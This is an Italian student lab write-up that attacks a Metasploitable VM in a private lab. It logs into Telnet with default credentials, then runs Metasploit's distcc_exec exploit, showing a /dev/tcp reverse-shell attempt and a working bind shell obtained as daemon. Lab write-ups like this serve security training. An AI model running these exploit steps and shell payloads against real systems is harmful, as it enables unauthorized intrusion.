

LABORATORIO 21 GENNAIO 2025 S7-L2

Exploit Telnet con Metasploit

Traccia: Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurare l'IP della macchina Kali con 192.168.1.25 e l'IP della macchina Metasploitable con 192.168.1.40

Svolgimento: Iniziamo avviando le macchine e procediamo con le modifiche dei relativi indirizzi IP.

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.40/24
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3f:28:90
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3f:2890/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:128 (128.0 B)  TX bytes:4752 (4.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:115 errors:0 dropped:0 overruns:0 frame:0
          TX packets:115 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23317 (22.7 KB)  TX bytes:23317 (22.7 KB)
```

```

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.5/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::3ade:9ec0:6541:130e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
(kali@kali)-[~]
$ sudo ifconfig eth0 192.168.1.25/24
[sudo] password for kali:
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::3ade:9ec0:6541:130e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

```

Una volta modificati gli indirizzi IP accertiamoci che le due macchine comunichino tra loro:

```

(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.523 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.513 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.459 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=7.14 ms
64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=0.456 ms
64 bytes from 192.168.1.40: icmp_seq=6 ttl=64 time=0.393 ms
64 bytes from 192.168.1.40: icmp_seq=7 ttl=64 time=0.419 ms
^C
--- 192.168.1.40 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6086ms
rtt min/avg/max/mdev = 0.393/1.415/7.142/2.338 ms
(kali@kali)-[~]

```

Metasploitable2 [In esecuzione] - Oracle VirtualBox

```

File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

msfadmin@metasploitable:~$ ping 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data:
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=0.413 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.465 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.976 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.233 ms
--- 192.168.1.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.233/0.521/0.976/0.277 ms
msfadmin@metasploitable:~$ _

```

Tramite scansione di nmap procediamo a controllare lo stato del servizio Telnet sulla porta 23 di metasploitable:

```
(kali㉿kali)-[~]
$ nmap -p 23 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 09:21 EST
Nmap scan report for 192.168.1.40
Host is up (0.0049s latency).

PORT      STATE SERVICE
23/tcp    open  telnet
MAC Address: 08:00:27:3F:28:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds

(kali㉿kali)-[~]
$
```

A questo punto avviamo la console di Metasploit framework con il comando `msfconsole`:

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true

.;lx00KXXXXK00xl:.
,o0WMMMMMMMMMMMMMMMMMMMMMMKKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMMWx,
File : KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMMMMMMWWNNWMMMMMMMMMMMMMX,
lWMMMMMMMMMMMMXd: .. ;dKMMMMMMMMMMMMMo
xMMMMMMMMMMMMwd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,ccccc0MMMMMMMMMWlcccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMMMMX:
xMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMmk. .kMMO'
dMMMMMMMMwd' ..
cwMMMMMMMMMNxc'. #####
.OMMMMMMMMMMMMMMMMMMMMMMWC #+# #+#
;0MMMMMMMMMMMMMMMMMMo. ++
.dNMMMMMMMMMMMMMMo +#++:+#+
'oOWMMMMMMMMMo +:+
.,cdk00K; :+: :+:
:+++++:

Metasploit

=[ metasploit v6.4.38-dev ]
+ -- ==[ 2467 exploits - 1273 auxiliary - 431 post ]
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ] ]

Metasploit Documentation: https://docs.metasploit.com/
```

Partiamo con la ricerca degli exploit tramite il comando **search auxiliary telnet** e scegliamo quello richiesto dalla traccia, ovvero il numero 14: **auxiliary/scanner/telnet/telnet_version**

Diamo il comando **use 14**

```
msf6 > search auxiliary telnet

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/server/capture/telnet         .               normal No    Authentication Capture: telnet
1  auxiliary/scanner/brocade/brocade_enable_login 2017-03-17      normal No    Brocade Enable Login Check Scanner
2  auxiliary/dos/cisco/ios/telnet_floccem        2013-02-04      normal No    Cisco IOS telnet Denial of Service
3  auxiliary/admin/http/dlink_dir_300_600_exec_noauth 2013-02-04      normal No    D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
4  auxiliary/scanner/ssh/juniper_backdoor        2015-12-20      normal No    Juniper SSH Backdoor Scanner
5  auxiliary/scanner/telnet/lantronix_telnet_password .               normal No    Lantronix telnet Password Recovery
6  auxiliary/scanner/telnet/lantronix_telnet_version .               normal No    Lantronix telnet Service Banner Detection
7  auxiliary/dos/windows/ftp/iisv5_ftpd_iac_dof 2010-12-21      normal No    Microsoft IIS FTP Server Encoded Response Overflow Trigger
8  auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06      normal Yes   Netgear PNXX GetShareFolderList Authentication Bypass
9  auxiliary/admin/http/netgear_r6700v3_pass_reset 2020-06-15      normal Yes   Netgear R6700v3 Unauthenticated LAN Admin Password Reset
10 auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce 2021-04-21      normal Yes   Netgear R7000 backup.cgi Heap Overflow RCE
11 auxiliary/scanner/telnet/telnet_ruggedcom .               normal No    RuggedCom telnet Password Generator
12 auxiliary/scanner/telnet/satel_cmd_exec       2017-04-07      normal No    Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
13 auxiliary/scanner/telnet/telnet_login         .               normal No    telnet Login Check Scanner
14 auxiliary/scanner/telnet/telnet_version       .               normal No    telnet Service Banner Detection
15 auxiliary/scanner/telnet/telnet_encrypt_overflow .               normal No    telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow
msf6 > use 14
```

Chiediamo di mostrare le opzioni a disposizione con il comando: **show options**

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-      -
PASSWORD  .               no        The password for the specified username
RHOSTS    .               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23              yes       The target port (TCP)
THREADS    1               yes       The number of concurrent threads (max one per host)
TIMEOUT    30              yes       Timeout for the Telnet probe
USERNAME  .               no        The username to authenticate as

View the full module info with the info, or info -d command.
```

Possiamo notare che è stata impostata automaticamente la porta 23 ovvero quella relativa al Telnet.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
View the full module info with the info, or info -d command.
```

[illegible]

```
. _ / | _ \ _ _ / | _ \ _ _ , | . _ / | _ \ _ _ | _ \  
Login with msfadmin/msfadmin to get started\
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40
```

```
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^['.
```

Warning: Never expose this VM to an untrusted network!

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

Login with msfadmin/msfadmin to get started

```
metasploitable login: █
```

Ci chiede dunque di inserire le credenziali che ci aveva fornito in precedenza: **msfadmin/msfadmin**

```
metasploitable Login: msfadmin
Password:
Last login: Tue Jan 21 09:08:38 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Possiamo constatare che l'attacco è andato a buon fine e abbiamo sfruttato la vulnerabilità del servizio Telnet. Siamo infatti riusciti ad ottenere l'accesso non autorizzato.

ESERCIZIO BONUS:

Studiare cos'è il servizio **distcc** e spiegarne il funzionamento. Spiegare inoltre la motivazione dell'esistenza della vulnerabilità e il motivo per il quale si tiene aperta la relativa porta e spiegare se questa è facilmente accessibile.

Effettuare quindi l'attacco al servizio **distccd** ed aprire una shell nella macchina bersaglio.

Spiegazione del servizio e delle vulnerabilità:

Il servizio **distcc** è un tool per la compilazione distribuita di codice, progettato per velocizzare il processo di build distribuendo il lavoro su più macchine in rete. Funziona coordinando i processi di compilazione: una macchina principale suddivide il lavoro e lo invia ai nodi configurati, che compilano il codice e restituiscono i risultati.

La vulnerabilità del servizio spesso deriva da configurazioni errate che consentono accessi non autenticati o da una mancata restrizione degli IP autorizzati a utilizzare il servizio. La porta standard utilizzata da **distcc** è la **3632**, che rimane aperta per consentire il traffico tra i nodi.

Se lasciata aperta senza restrizioni, questa porta può essere facilmente accessibile da attori malintenzionati, che potrebbero sfruttare il servizio per eseguire comandi arbitrari, installare malware o compromettere ulteriormente il sistema. Per mitigare i rischi, è fondamentale limitare l'accesso alla porta tramite firewall e configurare correttamente le regole di accesso.

Attacco al servizio:

Procediamo ora con l'attacco. Innanzitutto effettuiamo una scansione sulla porta interessata, quindi la **3632**.

```
(kali㉿kali)-[~]  
$ nmap -p 3632 192.168.1.40  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 10:29 EST  
Nmap scan report for 192.168.1.40  
Host is up (0.00045s latency).  
  
PORT      STATE SERVICE  
3632/tcp  open  distccd  
MAC Address: 08:00:27:3F:28:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds  
  
(kali㉿kali)-[~]  
$
```

Apriamo di nuovo il tool metasploit framework e cerchiamo un exploit adatto a questo servizio.


```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt

.;lx00KXXXK00xl:.
,o0WMMMMMMMMMMMMMMMMMMMMKd,
File Sys'xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMMXd: .. ..;dKMMMMMMMMMMMMMMo
xMMMMMMMMMMMMWd. .oNMMMMMMMMMMMMK
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMo
NMMMMMMMMMMW,cccccoMMMMMMMMMMWlcccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMMW. ;KMMMMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMMM0,
lMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMMMMNxc'. #####
.OMMMMMMMMMMMMMMMMMMWc #++ #++
;0MMMMMMMMMMMMMMMMMMo. ++:
.dNMMMMMMMMMMMMMMMo +++:+++:
'oOWMMMMMMMMMMo ++:
.,cdk00K; :+: :+:
:+++++:

Metasploit

=[ metasploit v6.4.38-dev ]
+ -- ==[ 2467 exploits - 1273 auxiliary - 431 post ]
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search distccd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
msf6 > 
```

Scegliamo l'unico modulo disponibile con il comando **use 0**

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > 
```

Controlliamo le varie opzioni ed inseriamo gli indirizzi IP come fatto in precedenza, quindi facciamo un check per verificare la buona riuscita delle modifiche:

```
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
-----
CHOST      192.168.1.40     no        The local client address
CPORT      3632             no        The local client port
Proxies    192.168.1.40     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
-----
LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/misc/distcc_exec) > █
```

Eseguiamo quindi l'exploit:

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:3632 - stderr: bash: 101: Bad file descriptor
[*] 192.168.1.40:3632 - stderr: bash: /dev/tcp/192.168.1.25/4444: No such file or directory
[*] 192.168.1.40:3632 - stderr: bash: 101: Bad file descriptor
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > █
```

Non essendo andato a buon fine andiamo a modificare il payload da utilizzare scegliendo il numero 3:

```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads

#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   payload/cmd/unix/adduser                  .                normal No      Add user with useradd
1   payload/cmd/unix/bind_perl                .                normal No      Unix Command Shell, Bind TCP (via Perl)
2   payload/cmd/unix/bind_perl_ipv6           .                normal No      Unix Command Shell, Bind TCP (via perl) IPv6
3   payload/cmd/unix/bind_ruby                .                normal No      Unix Command Shell, Bind TCP (via Ruby)
4   payload/cmd/unix/bind_ruby_ipv6           .                normal No      Unix Command Shell, Bind TCP (via Ruby) IPv6
5   payload/cmd/unix/generic                  .                normal No      Unix Command, Generic Command Execution
6   payload/cmd/unix/reverse                   .                normal No      Unix Command Shell, Double Reverse TCP (telnet)
7   payload/cmd/unix/reverse_bash              .                normal No      Unix Command Shell, Reverse TCP (/dev/tcp)
8   payload/cmd/unix/reverse_bash_telnet_ssl   .                normal No      Unix Command Shell, Reverse TCP SSL (telnet)
9   payload/cmd/unix/reverse_openssl           .                normal No      Unix Command Shell, Double Reverse TCP SSL (openssl)
10  payload/cmd/unix/reverse_perl              .                normal No      Unix Command Shell, Reverse TCP (via Perl)
11  payload/cmd/unix/reverse_perl_ssl           .                normal No      Unix Command Shell, Reverse TCP SSL (via perl)
12  payload/cmd/unix/reverse_ruby              .                normal No      Unix Command Shell, Reverse TCP (via Ruby)
13  payload/cmd/unix/reverse_ruby_ssl           .                normal No      Unix Command Shell, Reverse TCP SSL (via Ruby)
14  payload/cmd/unix/reverse_ssl_double_telnet .                normal No      Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/misc/distcc_exec) > set payload 3
payload => cmd/unix/bind_ruby

msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
--      -
CHOST      .               no        The local client address
CPORT      .               no        The local client port
Proxies    .               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632            yes       The target port (TCP)

Payload options (cmd/unix/bind_ruby):

Name      Current Setting  Required  Description
--      -
LPORT      4444             yes       The listen port
RHOST      192.168.1.40    no        The target address

Exploit target:

Id  Name
--  -
0   Automatic Target
```

Rilanciamo adesso l'exploit che in questo caso andrà a buon fine. Possiamo muoverci all'interno della shell e controllare informazioni sul target come configurazioni di rete e privilegi. In questo caso siamo **daemon**.

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.1.40:4444
[*] Command shell session 1 opened (192.168.1.25:36019 -> 192.168.1.40:4444) at 2025-01-21 10:41:42 -0500

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       inet6 ::1/128 scope host
           valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
   link/ether 08:00:27:3f:28:90 brd ff:ff:ff:ff:ff:ff
   inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
       inet6 fe80::a00:27ff:fe3f:2890/64 scope link
           valid_lft forever preferred_lft forever

whoami
daemon
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

